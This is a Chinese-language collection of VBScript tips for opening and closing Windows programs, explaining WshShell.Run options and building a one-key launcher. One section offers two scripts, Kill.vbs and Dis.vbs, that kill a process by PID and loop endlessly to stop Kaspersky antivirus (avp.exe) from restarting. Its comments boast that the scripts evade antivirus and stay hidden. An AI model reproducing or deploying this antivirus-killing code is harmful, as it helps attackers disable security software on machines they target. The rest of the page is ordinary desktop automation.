vbs 打开应用程序

Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
'下行是设置延时启动时间 5000等于5秒
WScript.Sleep(5000)
'下行引号内填写服务器上批处理文件的共享路径
Wsh.Run "C:\vscode\vscode.exe",false,false
Set Wsh=NoThing
WScript.quit

vbs 关闭应用程序

Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
'下行是设置延时启动时间 5000等于5秒
WScript.Sleep(5000)
'下行引号内填写服务器上批处理文件的共享路径
Wsh.Run "taskkill /f /im vscode.exe",false,false
Set Wsh=NoThing
WScript.quit

vbs 常用命令介绍

Wsh.Run "打开文件所使用的程序+空格+程序路径",x,y


Run方法有三个参数:
第一个参数:是你要执行的程序的路径，
第二个参数:是窗口的形式，0后台运行；1正常运行；2最小化；3最大化；缺省的话表示正常运行
第三个参数:是表示这个脚本是等待还是继续执行，如果设为了True,脚本就会等待调用的程序退出后再向后执行。

y为参数 下面为可选值： 
0 隐藏一个窗口并激活另一个窗口。 
1 激活并显示窗口。如果窗口处于最小化或最大化状态，则系统将其还原到原始大小和位置。第一次显示该窗口时，应用程序应指定此标志。 
2 激活窗口并将其显示为最小化窗口。
3 激活窗口并将其显示为最大化窗口。 
4 按最近的窗口大小和位置显示窗口。活动窗口保持活动状态。 
5 激活窗口并按当前的大小和位置显示它。 
6 最小化指定的窗口，并按照 Z 顺序激活下一个顶部窗口。 
7 将窗口显示为最小化窗口。活动窗口保持活动状态。 
8 将窗口显示为当前状态。活动窗口保持活动状态。 
9 激活并显示窗口。如果窗口处于最小化或最大化状态，则系统将其还原到原始大小和位置。还原最小化窗口时，应用程序应指定此标志。 
10 根据启动应用程序的程序状态来设置显示状态。

vbs 打开应用程序并检查程序，如已有就不打开！

pro="c:\windows\system32\notepad.exe"'要打开的程序，写完整路径
 
n=split(pro,"\")
name=n(ubound(n))
 
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 
      s=s&sep&ps.name:sep="|":next
      s=split(s,"|")
for i=0 to ubound(s)
      if name=s(i) then wscript.quit
next
 
createobject("wscript.shell").run pro

用VBS实现脚本结束进程与防止进程启动

'Kill.vbs用来在cmd下结束进程，Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉，并且有一定的隐蔽性……看代码！（'为注释） 
Kill.vbs： 
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术，我不能解释清楚！  
      if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等  
            wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程  
      end if  
next  
 
Dis.vbs：
dim y,x '不要这行也行……  
do '来个死循环……一直在判断！do ... loop内为循环体！  
      set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样，这也是涉及到微软的WMI技术！  
      set x=y.execquery("select * from win32_process where name='avp.exe'")  
      '查询语句，where后判断avp.exe（卡巴）是否存在进程中！  
      '这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非，把Dis.vbs结束了先……  
      for each i in x  
            i.terminate() '卡巴要启动马上就终止……  
      next  
      wscript.sleep  
loop

制作 一键启动多个应用程序 ， 只需要一个快捷键把我们想要的程序全部启动

MSN Messenger: "C:\Program Files\MSN Messenger\msnmsgr.exe"
Word: "C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"
'（注：这是Office2007的情况，如果是Office2003或OfficeXP，需把路径中的Office12换成Office11或Office10，下同）
Excel: "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
Access: "C:\Program Files\Microsoft Office\Office12\MSACCESS.EXE"
PowerPoint: "C:\Program Files\Microsoft Office\Office12\POWERPNT.EXE"

'接下来，新建一个文本文档，按下面格式将你要启动的程序输进去：
'Program1 = "C:\Program Files\Tencent\QQ\QQ.exe"
'Program2 = "C:\Program Files\MSN Messenger\msnmsgr.exe"
'Program3 = "C:\Program Files\Outlook Express\msimn.exe"
'Program4 = "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
'……

输完以后，再根据你上面输入的行数继续输入下面命令。
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program1)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program2)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program3)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program4)
……

然后将此文件保存在任一目录下，并将扩展名改为vbs，再点右键，选“发送到→桌面快捷方式”。最后到桌面上找到这个快捷方式，点右键选“属性”在“快捷键”中设置一个快捷键（如F9）。

以后再开机，只须轻轻按一下F9键，就能启动你需要的全部程序.